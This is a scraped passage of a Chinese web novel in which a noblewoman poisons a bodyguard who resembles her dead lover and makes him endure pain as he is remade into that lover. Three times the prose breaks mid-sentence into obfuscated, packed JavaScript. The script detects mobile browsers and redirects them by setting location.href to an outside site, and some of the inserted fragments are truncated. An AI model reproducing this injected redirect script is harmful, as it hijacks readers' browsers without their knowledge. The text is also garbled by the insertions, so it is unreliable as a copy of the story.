《摇尾乞怜gb》 1. 第一章 八月的京城暑热难耐,蝉鸣聒噪,一声一声,吵得人头疼。 窗子半支着,燥闷的风阵阵吹来,殷芙倚着软榻,意兴阑珊地看向丫鬟素玉端来的那碟雪白酥山。 “小姐,这便是酥山么?听说是京城才有的稀罕物,金贵得很,奴婢还是头一回见呢。”素玉眼馋地舔了舔唇。 想来是父亲还记着以前,每到夏日,她必得吃上这一口盛月楼的招牌酥山方可舒心,所以特地早早差人去买了回来。可眼下,殷芙实在没什么胃口。 “你既喜欢,便赏了你罢。”她淡声道,而后便转回脸,漫不经心地望着窗外出神。 惜月推门进来,见素玉这傻丫头得了些吃的竟欢喜得连谢恩都忘了,恨铁不成钢地摇了摇头。到底是在白沙村那等穷乡僻壤之地买来的粗使丫头,半点眼力见都没有,连主子心意都体察不得。 惜月叹了口气,寻了个由头将素玉支了出去,走到殷芙身边,轻声劝着。 “小姐,咱们好不容易平安回京,今儿又是您的生辰,您该高兴些才是。” 五年前,一桩牵连六道十三州的贪腐大案震动朝野,牵涉之人不计其数,殷相首当其冲,皇帝盛怒,下令将其押入密牢问审,此后数年,未见天日。 许是提前察觉到皇帝雷霆之意,殷至邺入宫前悄悄托付手下心腹林辛,将殷芙母女送上去往乡下的马车。 彼时殷芙只有十二岁。 她随母亲一路逃亡,一边躲着朝廷的官兵,一边又不敢离开京城太远,日夜留心打听着父亲的消息。有人道相爷早就在大牢里被处死了,也有人说这案子牵连太广,还得再查上个三年五载,怕是有得熬。 殷芙曾以为她再也见不到父亲了,从没想过,有一日殷家的侍卫还会寻上门来,接她和母亲回京。 殷芙这时方知,原来当年之事,不过是皇帝借父亲做戏而已。 殷相入狱,殷皇后失宠,朝中暗流涌动,臣子们心思各异,渐渐按捺不住。皇帝借此机会,不仅一举铲除了朝中那些贪金藏银的害群之马,更是将这些年底下州道勾结环环相护的腌臜事查得一清二楚。 为成此大业,殷相不负圣意,甘愿忍辱负重,皇帝为表嘉奖功臣之心,特赏下黄金万两,良田千亩,另破格赐封殷芙为安平郡主,也算是怜惜她多年流落在外的辛苦。 如今殷家风光更盛从前,她又难得和父亲团聚,按理,的确该高兴才是。 见殷芙仍旧没什么兴致,惜月柔声安抚:“小姐可是还在为那日遇刺的事忧心?相爷已派人去查了,想来不日便会有结果。” 许是这安平郡主的身份太惹人嫉妒,趁着宫里的圣旨还未送到殷府,竟有人想在京外了结了殷芙的性命。好在殷家侍卫训练有素,拼死护住了殷芙。 “相爷特意叮嘱了,如今外头暑热,小姐又一路舟车劳顿,只管安心在家养着,什么都不必想,相爷自会为小姐做主的。” 卧房里一片静寂。 惜月小心打量着殷芙的脸色,知道自己这话没劝到殷芙心坎上去,顿了顿,终究还是大着胆子道:“裴公子已逝,小姐也该看开些,总不能一日日地忧思伤神,再熬垮了自个儿的身子。” 殷芙眉目稍动,却仍是看着窗外,没有回头。 算算日子,自裴钰病逝,已有十日了。 她是喜欢裴钰不错,可人死不能复生,难过一场也就罢了。只是京城繁华熙攘,总让殷芙回忆起在白沙村时清净自在的日子,没有裴钰陪在身边,她总觉空落落的,仿佛缺了什么。 她与裴钰相识在榕关道上一家不起眼的破旧客栈,那时殷芙正打算带着母亲往颐城去,不巧路遇山洪,只得寻客栈暂歇几日。 肤白俊秀的书生,于细雨霏霏的春夜叩响她的房门,低眉作揖,嗓音清润,道他孤身一人,前路多有山匪,可否与她结伴同行,也好互相有个依仗。 殷芙盯着眼前这张清俊无瑕的脸,烛火昏黄,灯影薄稀,男子白衣玉立,郎艳独绝。 她颔首答应,却也将话说得清楚,只允他同乘马车,若真遇上匪徒,她一女子,能护住母亲已是万幸,哪还能顾得上他什么。 却没想到,当那匪徒的刀插向心口时,却是这体弱的书生,挡在了她的身前。 她急急忙忙带着裴钰就近在白沙村落了脚,又请来村中最好的大夫为他治伤。诊过脉后,方知裴钰身子有疾,是娘胎里带出来的病,根治不得,是以不比寻常男子健壮,如今又受了伤,更得格外精心养着。 殷芙一日日悉心照料,两人也日渐相熟,情愫暗深。 直到那日,她去城中为裴钰寻药,路途遥远,来去需得四日。临走前,殷芙特地留下丫鬟素玉照看裴钰,不想再回来时,已不见郎君身影,留给她的只有一张空荡荡的竹席。 素玉抹着眼睛嗫嚅着说,裴钰突发旧疾,这次格外厉害,没能熬到大夫赶来就没了气,如今正是天热的时候,周围邻居闻不得腐臭味,便不顾素玉阻拦,自作主张将尸体拖去后山上烧了了事。 郎君温柔眉目,恍惚仍在眼前,她却连裴钰最后一面都没能见到…… 殷芙怔怔站在那里,眼前一片晕眩。 草草给裴钰送了殡,殷芙正打算收拾行囊离开这片伤心之地,便遇上了前来接她回京的殷家侍卫。 “小姐,相爷请您去荣安堂用饭。” 丫鬟的禀话声打断了殷芙的思绪,她终于收回视线,淡淡应了声:“知道了。” 每年生辰日,府里总是操办得格外隆重,今年顾及着殷芙初回京中,大约也不喜太热闹,殷至邺便未请亲朋登门,只置办了一桌家宴,一家三口说些体己话。 殷芙步入堂中,远远朝殷至邺屈膝行了礼。 “爹爹。” “阿芙来了,快坐,快坐。”殷至邺眼眶一热,连忙朝她招手,示意殷芙坐到身边。 眼见女儿仍是记忆里落落大方的闺秀模样,殷至邺心口愈发酸楚,当年他仓促应召入宫,并不知皇帝此举只为做戏,只一心念着万不可牵连妻女,便提早做了准备,嘱托林辛将她们送往乡下。 不想这一别,竟就是五年。 妻子容颜老去,因日夜忧心,两鬓已见斑白。幼时总粘在他身后的女娃娃长成了亭亭玉立的姑娘,明眸雪齿,风华盛艳,灼灼夺目。 殷至邺抹了抹眼睛,亲自夹了一只凉虾放进殷芙的碟子里,这是她以前最爱吃的。 “阿芙放心,既已回了家,万事有爹爹在,必不会再让阿芙受任何欺负。”殷至邺正色道,“我已派人彻查那日刺客之事,虽未寻得确凿证据,不过,大抵又是赵家做的好事。” 殷芙抬眼,诧异道:“爹爹为何如此笃定?赵侯爷做事向来稳重,应当不会如此举动。” 殷至邺冷笑一声:“赵成厉是不会,可他那个娇纵惯了的女儿却未必!” 赵徽容? 殷芙越发不解。 虽然殷赵两家素来不对付,赵徽容更是和她有不少过节,处处瞧她不顺眼,但她不过是得了个郡主的虚名而已,又何至于恨到这般地步,光天化日之下派刺客来取她性命。 殷至邺叹了口气,殷芙前日才归家,京中许多事,他还未来得及告知女儿。 皇帝一心体恤功臣,又惦念着殷芙身为相府之女却流落乡野多年,此番回京,难免有人闲话,所以特意为她赐了一门好亲事,好堵住那些口舌是非。 对方乃新科状元郎,沈太傅之子沈清,乃赵徽容的意中人,年前赵徽容曾在宫宴上借着太后欢喜,好不容易才向皇帝求来了这份恩典,却不想皇帝思来想去,觉得如今京中堪配殷氏女之人,唯有这位年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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用过饭,又陪着二人说了好些时辰的话,殷芙便起身告辞,回了她的芙花院。 入了夜,小院里挂着灯笼,光影细细地洒在门口的石阶上。 殷芙推门进去,卧房里一片漆黑,她心不在焉地在榻边坐下,对着满室阒静的黑暗出神。 忽听房梁上传来一阵极轻的响动,一道黑影悄无声息跃落于地,殷芙吓了一跳,正要扬声喊人,惜月及时提着灯笼出现在门口,“小姐莫怕,这是相爷吩咐送来给您的礼物。” 殷芙皱眉,看向跪在卧房中央那道不甚明晰的影子,心中仍有些戒备:“礼物?” 她的生辰礼物,是个活人? 惜月解释:“正是呢,听说是相爷花了重金从影阁买来的顶尖暗卫,往后有他跟在小姐身边,便再不用担心会有刺客伤害小姐了。” 话音落,便听见一阵金属碰撞之声,男人以极快的速度解下身上所有暗器放在地上,以此来表示不会对她造成任何威胁。 “属下名玄霜,奉相爷之命,护大小姐周全。” 男人嗓音微哑,如尘沙落入夜风,令殷芙心中微微一荡。 她很快恹恹垂下眉,冷淡道:“去告诉爹爹,我不需要。” 暗卫行贴身保护之责,除了裴钰,她不喜欢有男人离她这样近。 殷芙摸到桌案上的烛台,点起灯火。 房间里终于亮了起来,殷芙转过身,看见一地长短不一形制不同的暗器,而男人还跪在那里,一动未动。 她不耐地拧眉,抬眸朝男人看去。 “没听见本小姐说的话吗?” 男人微垂着眼,鼻梁高挺,薄唇冷淡。脸没在朦朦胧胧的光影里,半明半暗,看不真切。 殷芙一愣。 恍惚间,仿佛又回到了那个雨夜,郎君和着雨声叩响她的门扉,篷帽滑落,露出一张清绝隽秀的脸。 “阿钰……”她喃喃轻唤,不可置信地,朝男人走去。 女子的脚步越来越快。 玄霜怔了怔,还不及反应,下颌便被一只温软香莹的手急切地抬起,他眼睫轻颤,猝不及防对上一张美艳如芙蓉花般的面庞。 “阿钰……是你吗?” 2. 第二章 夜风吹动潋滟烛火,殷芙怔了一瞬,很快松开了手,往后退了两步。 眼前的男人,并非阿钰。 五官虽有七八分相似,气质神态却大不相同。 裴钰文人出身,皮肤白皙若月下冷雪,又素来喜穿白衣,更衬得姿容清冷绝世,翩翩如画上仙人。 而玄霜的肤色却是健康结实的小麦色,一看便知常年经受风吹日晒,紧身黑衣束出精|壮蓬勃的线条,宽肩窄腰,胸肌鼓胀,浑身上下,无一处不蕴着蓄势待发的力量感。 最不相同的是那双眸子里的神情。裴钰望着她时总是温柔含笑的,而玄霜脸上无一丝表情,像一把只会杀人的、没有情感的刀。 即使殷芙能一眼辨出两人的不同,骤然看见这么一张像极了裴钰的脸,她还是有些失神,定定地盯着玄霜看了许久。 惜月将灯笼放在门口,快步走进屋中,瞧见玄霜的脸,亦惊得不轻,惊疑不定地看向殷芙,欲言又止。 好半晌,殷芙终于缓缓从玄霜脸上收回了视线,她抬手示意惜月退下,坐回榻边,看向仍跪在地上的男人,淡声道:“过来。” “是,大小姐。” 玄霜低着眼,挪膝向前,在殷芙面前停了下来。 殷芙倾身,伸手捏住男人下颌,漫不经心地挑起他的脸。 借着灯烛的光亮,这次玄霜清晰地看清了眼前少女的模样。 雪肤玉容,纤颈乌发。眼尾微微上挑,美得锋利张扬。 暗卫卑贱,怎可直视主子,只一瞬,玄霜便迅速垂下了视线。 殷芙不轻不重地掐着玄霜的下颌,左右晃了晃,似在斟酌这份生辰礼物是否有留下来的价值。 她很快发现男人下颌之下有一块粗糙的疤痕,不由眉心轻蹙。和裴钰这样相像的一张脸,却有了瑕疵,这让殷芙很不高兴。 “这是怎么弄的?” “回大小姐话,是属下在影阁训练时所伤。” 影阁规矩森严,每隔一月阁中便会有考核训练,暗卫们两两捉对厮杀,胜者可得“影令”,依据影令数量,决定在阁中的排名。只有排名靠前者,才能得到相对充足的食物和水,不必日日忍饥挨饿。是以人人皆拼出性命,无人敢懈怠偷懒,时常有人在比试中死去,或是受伤残废。 玄霜无父无母,自幼便在影阁接受暗卫训练,这处伤是他十二岁那年所留,彼时玄霜功夫尚浅,比试中偏偏又对上阁中排名第一的高手青祀,对方一刀劈中他下颌,若非手下留了些情面,他只怕早已命丧当场。 玄霜在床上躺了半月才勉强养好了伤,影阁当然不会给这些日后要卖出去换银钱的低贱暗卫用什么金贵的好药,所以便留了道疤下来。日子长了,倒也渐渐淡了不少,唯有下颌处那一点,始终不曾消褪。 殷芙蹙着眉,不大满意地摩挲着那块疤。 这些年她带着母亲流落村野,早已不再是幼时家中娇生惯养的闺阁小姐,她的手做过了养家糊口的活计,覆着薄薄的茧,抚弄过玄霜的下颌,激起一阵微妙的痒意。 男人的身体肉眼可见地紧绷,却仍是低垂着眼睫,一动未动。 大小姐对他,似乎颇有不满。 殷至邺以十两黄金的高价从影阁买下他,看中的便是他一身杀人的本事。若是殷芙对此有疑,不满他身价太高,他杀几人给她看便是,可殷芙不满的,似乎……是他的脸。 暗卫唯一的价值,便是为主子杀人取命,这是玄霜自幼便知晓的道理。是以,他从未留心过自己的容貌。 玄霜默了一息,低声道:“大小姐若不喜属下容貌,属下可用黑巾覆面,便不会冒犯大小姐。” 殷芙置若罔闻,仍在细细摩挲,见那道疤藏得还算隐秘,若非有意挑起玄霜的脸,平日里是瞧不见的,眼中恹色这才散了几分。 她想,裴钰那般如雪似玉的人物,这世间即使有人与他容貌相像,也断难和他一样白璧无瑕。 何况此人,不过是个几两金便能买来的暗卫。 裴钰已经不在了,相思之苦最难消解,将这暗卫留在身边,或许能聊以排解一二。 殷芙收回手,心不在焉地问道:“爹爹何时买的你,怎么本小姐竟半点消息也不知。” “回大小姐话,大小姐归京那日,相爷便买下了属下。” 玄霜从怀中取出一纸文书,双手递到殷芙面前,“这是属下的影契,请大小姐过目。往后,大小姐便是属下的主人。” 对暗卫而言,影契便等同于奴隶的身契,跟了主子,便要将自己的影契交到主子手中,从此生死性命,皆握在主子手中。 殷芙捏着手中的薄纸,目光落在男人脸上,顺着他的话,意味深长地重复了一遍。 “主、人?” 玄霜低垂着眼,冷峻面容不见丝毫情绪,“是。” 殷芙歪着头思考了片刻,又问:“意思是,本小姐让你做什么都可以吗?” “是,大小姐。” 男人面容冷肃,从袖中取出两只药瓶,一黑一白,递给殷芙。 “大小姐若不放心,可给属下服用此药。此为影阁密药,一旦服下,十日后,若大小姐未赐解药,药性便会发作,浑身穴位剧痛难忍。” 数年来,影阁一直用此法来控制暗卫,只有尝过那般苦痛滋味,记住了教训,才能对主子忠心耿耿,不敢有丝毫违逆。 殷芙却扯了扯唇,十日才发作?这代价未免也太轻了些。 她对玄霜递来的药并没什么兴趣,起身绕过屏风,从博古架上取下一只木制的药瓶,回到玄霜面前。 “伸手。” 玄霜顺从地捧出掌心,殷芙取下木塞,将一粒漆黑的药丸倒入他的掌心,命令道:“吃了。” 话音落,男人没有丝毫犹豫,动作迅速地将药丸塞入口中,薄薄颈皮下的喉结上下滚动,以最快的速度完成吞咽的指令。而后他便张开嘴巴,让殷芙检查那药丸确实已经咽下,而非被他藏在口中。 殷芙惊诧于他执行命令的速度,不由问了句:“你都不问问这是什么药吗?” “大小姐所赐,无论何物,属下皆不可拒绝。”男人嗓音沉冷,仿若秋日寒霜,透着丝丝沙哑,竟别有几分动听。 殷芙勾了勾唇,还算听话。 这药名为牵乌,是殷芙在白沙村时闲来无事自己做的,那时她为了能治好裴钰的病,从旧书铺里寻来了不少医书,无意间得了一本赫卑族的毒谱,碰巧她年幼时学过些赫卑文字,便一字一字认了下来。 她想着,乡野间不比京城太平,时常有匪寇作乱,制些毒在身上,也能用来防身。 这牵乌之毒里,加了十足剂量的黄兰草,有致幻生痛之用。 殷芙看着玄霜,慢悠悠道:“这药可比影阁的那些破东西厉害得多,只一粒,药性便可维持两月之久。三日内若不及时服下解药,便会有骨裂锥心之感,其中感受,比寻常人所能忍受的极限还要疼上数十倍不止。” 玄霜垂着眸,神色未变。 殷芙将木塞塞回药瓶,语气随意道:“只要你听我的话,我自然会按时给你解药。不过呢,这解药金贵,用材难寻,得省着些用才好,一次只能给你半颗。这分量只能替你纾解一半疼痛,剩下的,就要你自己好生忍耐了。” 昏黄光影笼着男人笔直跪立的上身,于满室静谧中,殷芙听见他低声开口:“是,属下谢大小姐恩赏。” 殷芙此时才拿起被她随手放在一旁的那份影契,目光落在末尾的名字和指印上,“你叫玄霜?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524546|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄霜默了默,点了下头。 殷芙将那张纸折起来,轻飘飘的一句话,便抹去了他用了二十余年的名姓。 “记着,从今往后,你便叫阿钰了。” 玄霜闻言,不由微怔,隐约记得方才少女疾步奔来,颤颤捧起他的脸时,口中唤的便是这阿钰二字。 然不及他再想下去,殷芙已经开口赶人了:“行了,退下吧。本小姐喜静,无事不要过来打扰。” “……是,属下告退。” 玄霜垂眸,收起地上的暗器,只一瞬功夫,便悄无声息地消失在黑夜里,仿佛不曾来过一般。 殷芙望向门口,脑海中想着方才男人的脸,渐渐的,那张脸便成了裴钰的模样。 往事一幕幕涌入脑海,殷芙静坐半晌,叹息一声,唤了惜月进来,命她去备作画的纸笔。 惜月很快将一应物件布置妥当,殷芙在长案后跪坐下来,纤细笔毫落在白宣上,一笔笔勾画出裴钰的眉眼,鼻梁,嘴唇。 她年幼时随京中名师习画,那时也曾得老师夸赞,只是多年不曾提笔,到底有些生疏,一连画废了五六张,仍是不满意。 殷芙眉心轻蹙,和裴钰分开不过十日而已,她就连他的样子都画不出了吗? 她心中烦闷,翌日索性将自己关在房中,闷头作画。 得知安平郡主归京,许多人都赶着想要借此机会和殷家攀上几分交情,宴会请帖一封封地递到相府。李蕙知道殷芙大约还在为裴钰病逝之事忧思悲痛,便一一婉言推拒了,又特意叮嘱府中下人,无要紧事不得叨扰小姐。 芙花院里十分清净,可殷芙始终没能作出一幅满意的画来。 废纸堆满墙角,她握着笔,望着画中人的眉眼,不知为何,越看越觉陌生。 裴钰风骨清绝,落于纸上,反而失了神采,成了平平无奇的凡物。 殷芙烦躁地将宣纸揉搓成团,扔进墙角的竹篓里。 檐下灯笼轻晃摇曳,柔暖光晕在石阶上洇开薄影,殷芙余光瞥去,看见门边立着一道挺拔身影。 是玄霜。 这几日殷芙几乎没感觉到芙花院里多了个暗卫的存在,她不许他擅自打扰,他当真听话,仿若死物般,一丝声息也无。 殷芙眸光动了动,出声道:“进来。” 夜风将男人低哑的一声“是”送进屋中,玄霜掐紧手心,极力维持着身形平稳,跨过门槛,跪在房中。 三日之期已到,一刻钟前,那牵乌之毒便已悄无声息开始发作。 玄霜知道,头一次服用这药,主人难免要给他些教训,立一立规矩,所以他不敢擅自叩门,只是沉默地忍耐着,等着殷芙叫他进去,方敢挪动脚步。 浑身关节仿佛有刀斧在削凿,呼吸牵扯五脏六腑,钝刀割肉般的痛楚,有如凌迟一般。 即使玄霜极能忍痛,忍到此时,大腿肌肉也忍不住微微发抖。 殷芙头也未抬,重新铺开一张雪白宣纸,命令道:“抬头,看着本小姐。” “……是,属下冒犯。”玄霜静默一息,抬起了眼。 训练有素的暗卫跪姿标准,双膝分至与肩同宽,两手交握背于身后,足尖撑地,上身挺得笔直。 许是夏夜燥热的缘故,男人额角脖颈布满细密晶亮的汗珠,胸前和腰腹处的衣裳皆被汗水打湿了大片,肌肉轮廓愈发明显。 房中寂静,隐约能听见几声压抑隐忍的呼吸。 殷芙闻声瞥去一眼,这才记起原来三日已经过去,他今夜过来,是为求解药。 可惜她此刻心情不佳,并没有赏他解药的兴致。 殷芙提笔,在砚台里蘸了些墨,对男人苦苦忍痛的神情视若无睹,漫不经心地命令:“脸再抬起来些,不许乱动。本小姐要作画了。” 3. 第三章 大小姐未提解药一事,便是要他继续忍耐的意思了。 玄霜喉结动了动,依言将下颌又抬高了些。 案角灯影昏黄,少女乌发披散,垂落肩头,更衬得肤白如脂,容色姝艳。 殷芙神情专注,时不时抬头仔细打量一番他的脸,然后才在纸上落下笔墨。 玄霜抿起唇,将沉闷的呼吸声压回喉咙里,他不得不想些旁的事来分散心神,以此来自欺欺人地忽视几分身上的疼痛。 大小姐……是在画他么? 可他不过一个相貌普通的暗卫,如何值得大小姐浪费笔墨。 长案后,殷芙画得专注,有了眼前这张像极了裴钰的脸作参照,画起来果然得心应手了许多。 五官只剩下眼睛未画了,殷芙停笔,看向玄霜的眼。 男人点漆墨眸沁着冷色,幽深寒凉,即使正在忍痛,也如一潭没有生命的死水,没有半分情绪。 殷芙不由蹙眉,这暗卫,怎得像个死人一般。 她冷了声,命令道:“笑一笑,让本小姐看看。” 玄霜默了一息,他不知该如何笑,于是只能尽力扯扬起唇角。 “……丑死了。” 裴钰笑起来时眉眼舒朗,温柔隽秀,观之赏心悦目,从不会如此难看。 见殷芙一脸嫌弃,玄霜默了默,低声告罪:“属下容貌粗陋,污了大小姐的眼,请大小姐责罚。” 殷芙睨着他道:“本小姐何时说过你容貌粗陋了?” 她自幼长于京城,也见过许多风流俊秀的美男子,却无一人如裴钰这般令她惊艳。那时若不是因为裴钰这张脸,她断断不会答允一个陌生男子与她结伴同行。 殷芙瞥了眼男人微微发抖的大腿,只当没看见,挪了挪宣纸,继续往下画去。 脖颈、肩膀,衣裳。 再往下,是裴钰那双作惯了诗词文章的手。 殷芙指尖点了点桌案,示意玄霜手背朝上,把手放上来。她不擅画手,因骨节难画,光凭脑中想象,是画不出的。 尤其裴钰一双手生得最为漂亮,指身纤秀,骨节温润,如冷玉雕竹一般,更要画出其中神韵才好…… 殷芙低眸看过去,却看见了一双和裴钰截然不同的手。 手掌宽大结实,指节分明有力,一看便知是握惯了重器的,右手手背上还有一块极为显眼的刀疤,瞧着很是骇人。 殷芙皱起眉,裴钰知道她极喜欢他这双手,平日里格外爱惜,绝不会留下如此醒目的伤痕。 到底只是个不值钱的替代品,瑕疵不少。 不过…… 那疤印在男人小麦色的手背上,倒并不丑陋。 殷芙不由多看了几眼,才移开视线,起身去取了一瓶药膏回来,倒了些在玄霜手背,用指腹揉弄开来。 膏脂冰凉,少女的手指却是温热。 玄霜僵了僵,看着殷芙一点点将药膏抹在他的旧疤上,心跳莫名加快。 他仍记得这道疤的由来,戴着漆黑盘蛇面具的阁主将少年们唤进狭小的暗室,命他们将手放在石桌上。一片黑暗中,锋利的刀刃毫无预兆地插入手背,鲜血淋漓,霎时间,尖叫哭喊声四起。 整整二十人,皆是影阁中的顶尖高手,只有玄霜,死死咬紧了牙关没有出声。 学会忍耐常人所不能忍的痛苦,无论痛到何种地步都不可出声暴露自己,身为影阁暗卫,玄霜早已习惯这些残忍的训练。 可此刻,少女轻蹙着眉,将细腻的药膏打着圈轻轻揉按在那道狰狞的刀疤上,玄霜一时怔住,指尖微不可察地颤了下,连谢恩的话都忘了说。 这是京中容雪阁买来的温颜膏,是祛疤除痕的灵药,殷芙小时候总爱跑闹,时常跌伤,怕身上留疤,房中总要备着一两瓶。 殷芙忽而想起裴钰掌心的那块胎记,那般冰清玉洁的郎君,唯独手心里有块暗青色的丑陋胎记,那时她曾为此想过好多法子,可惜白沙村没什么好郎中,几番问询无果,也只得作罢。 这温颜膏最是灵验,再深的疤痕,用上月余也能祛得干净,或许,能除去裴钰的胎记也说不定。 殷芙眼眸亮了亮,急切地翻过男人手掌,恍惚间仿佛又回到了在白沙村时的日子,她执拗地将厚厚的草药敷在裴钰手心,他无奈摇头,温声道阿芙不必如此费心…… 玄霜的掌心并无胎记,只有一层冷硬的茧痕。 殷芙眸色微怔,几息后才回过神,她握着玄霜指尖,看向他掌中深邃纹路,道道分明。 而裴钰掌纹极淡,朦胧模糊,有一回她跟着村中算卦先生学会了看手相,对着裴钰的手,却端详了半晌也未曾看得真切。 殷芙想着旧事,无意摩挲着男人手心粗粝的茧,一遍又一遍。 他不是裴钰。 即使容貌再像,也不是他。 殷芙缓缓抚摸着玄霜的手,指缝,骨节,一处都不曾放过。 玄霜再无法保持沉默,“……大小姐。” 大小姐何等尊贵,他一介卑贱暗卫,云泥之别,天上地下,这副躯体,怎配得到大小姐的触碰。 殷芙闻声抬眸,神色恹恹:“怎么,本小姐碰不得你?” 玄霜指尖微蜷,并不敢擅自挣脱,只低声道:“……属下的身体性命皆是大小姐的,大小姐想如何都可。” 殷芙冷哼了声,松开手,把温颜膏扔给他。 “一日三次,涂抹在疤痕处,按着本小姐方才的手法揉按,可记住了?” 玄霜低应了声,捡起滚落在地上的药瓶,攥紧了握在手心。 时间无声流逝,那毒发作得愈发厉害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524547|203427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是稍稍前倾了些身体,他便有些承受不住,另一只手拼力撑着地面,才没在殷芙面前摔倒。 玄霜咬了咬牙,俯下身去,额头磕在殷芙脚边。 “求大小姐赏赐解药。” 殷芙语气冷淡:“这就坚持不住了?” 密密的汗珠润湿了玄霜的眼睫,他抿了下唇,尝到自己汗水的咸腥。 “……回大小姐话,属下至多还可坚持半个时辰。”指甲抠入掌心,渗出丝丝血痕,玄霜声音沙哑,“若属下昏倒,大小姐可用银针扎入属下腰后.穴位,属下便会清醒。” 殷芙瞥了眼跪伏在脚边的男人,轻飘飘道:“那就再忍半个时辰吧。” 半个时辰,应当正好够她作完眼前的这幅画。 “是。” 男人抬起脸,即使已经忍痛到快要力竭,依然以最快的速度恢复成原本的跪姿,冷峻面容覆着薄汗,烛火映照下,泛着细细碎碎的光。 这副光景,竟别有意趣。 殷芙不觉多看了些时候,才重新提笔,在砚碟里蘸了墨,继续作画。 夜色静谧,风声悄寂。 殷芙揉着发酸的脖颈搁下笔,抬眸看了眼漏刻,还没到半个时辰。 她挪开镇纸,将作好的画举起来,满意地端详了一番,递到仍跪在案旁的男人面前。 “如何?本小姐画得像不像?” 长久地忍痛令玄霜意识都有些模糊,他抬起汗涔涔的眼,看向殷芙手中的画。 画中男子,五官轮廓,确和他有七八分相似。唯那双眉眼,却清柔含笑,温煦如春。 ——大小姐所画之人,不是他。 玄霜微怔,抬眸看向殷芙。 她似乎极为满意这幅画,唇角漾着笑,落在画上的目光也炙热深切。 玄霜沉默片刻,终究还是点了点头,道:“像。” 殷芙闻言,心情颇好地将那幅墨色未干的画摊在案上晾着,这才从袖中取出装着解药的瓷瓶,倒出一粒,掰成两半。 玄霜低眸,双手交叠掌心朝上,殷芙奖励般扔下半粒解药,淡声道:“吃了吧。” “是,属下谢大小姐恩赐。” 玄霜感激地将药丸塞入口中咽下,那股剜骨剖穴般的剧痛终于勉强疏解了几分,虽然仍旧难熬,但至少,他不会活活疼昏在大小姐面前。 从始至终,殷芙连半个眼神都未分给他,她珍视地抚摸着画上男子的脸庞,良久,才扬声唤道:“惜月。” 惜月应声而入,“小姐,有何事吩咐奴婢。” 殷芙凝视着裴钰的眉眼,仿佛仍是烟雨朦胧的春日,他站在白沙村的小屋旁,桃花落满白衣,郎君弯眉对她温柔微笑。 她缓缓折起画纸,吩咐道:“带他下去,好好教教他,该如何当好阿钰。” 4. 第四章 念及阿钰二字时,少女神色,恍惚有些哀婉。 玄霜怔愣了一瞬,很快明白,她的喜怒哀乐,皆因画中之人而起,而非为他。 他长了一张和“阿钰”极为相像的脸。 所以初见那夜,她才会那般失神地朝他跑来,喃喃唤着阿钰的名字。 “怎么,不愿意?”见他还跪在原地,殷芙的声线冷了几分,似有些不悦。 玄霜迅速垂下眼,眼底情绪如夜风拂过的水面,只一刹,便又归于死物般的平静。 “属下不敢。只要是大小姐的命令,属下都会照做。” 他顿了顿,又补充道,“心甘情愿。” 殷芙的视线扫过男人俊肃面庞,漫不经心道:“以后每日戌时到本小姐房中,陪我作画。” “是。属下告退。” 玄霜起身,垂首随惜月退出门外。 惜月关上门,小声对玄霜道:“今日太晚了,明日你早些到我那儿去,我、我和你说些裴公子的事罢。” 玄霜颔首,“有劳。” 男人面无表情,嗓音冷淡,一副活人勿近的死感,惜月打了个哆嗦,生怕下一瞬自己也成了死物,赶紧寻了个由头跑开了。 玄霜垂眸,摊开掌心,看着殷芙赏给他的那瓶温颜膏,站在漆黑夜色中,静静出神了良久。 翌日一早,玄霜叩响了惜月的屋门。 惜月让他进了屋,从箱笼里捧出一套白绸裁制的袍衫。 “裴公子好清雅,喜穿白衣,你且将这衣裳换上,试试尺寸是否合身。” 惜月打小就跟在殷芙身边伺候,当年仓促离京,殷芙只带了她一个丫鬟。殷芙是如何与裴钰相识、两人又是如何到了白沙村,惜月都是一路看过来的。 可以说,惜月是除了殷芙之外,最了解裴钰之人,所以殷芙才将这桩差事交给了她。 惜月说罢,便背过身去,还不及她离开避嫌,玄霜已开口道:“好了。” 暗卫为方便行动,平日皆穿紧身黑衣,惜月捧来的衣袍袖宽摆长,松松垮垮,玄霜看了一眼,直接套在了身上。 惜月回头,神色古怪地盯着玄霜看了许久,不知为何,明明是极像的一张脸,穿上这件裴钰的旧衣,反而有些不像了。 裴钰清瘦,一袭雪白春衫,神清骨秀,濯尘若仙。 同样的衣袍,却被眼前的男人撑得紧实鼓胀,倒不是不好看,这样一张脸,穿什么衣裳都是好看的。 惜月决心挽救,于是便让玄霜坐到铜镜前,盯着他仔仔细细打量一番,终于想起了什么,忙去取了盒胭脂,又拿了支细狼毫笔来。 “裴公子眉间有一点红痣,喏,就在这里。”惜月用笔尖蘸了些胭脂,递给玄霜,顺手为他指了指那颗痣的位置,“以前小姐可喜欢看裴公子这颗痣了,裴公子为小姐描眉时,小姐总爱从镜子里盯着裴公子的痣看。” 玄霜动作微顿,一息后,才不动声色地落下笔,将一颗朱红的痣,点在右眉眉峰之处。 他一抬手,惜月便看见了他手背上的刀疤,连忙道:“还有这疤,万万得想法子祛了才好,裴公子一双手冰玉无瑕,怎会有这般东西。” 玄霜默了默,顺着惜月的视线看向自己的手背。 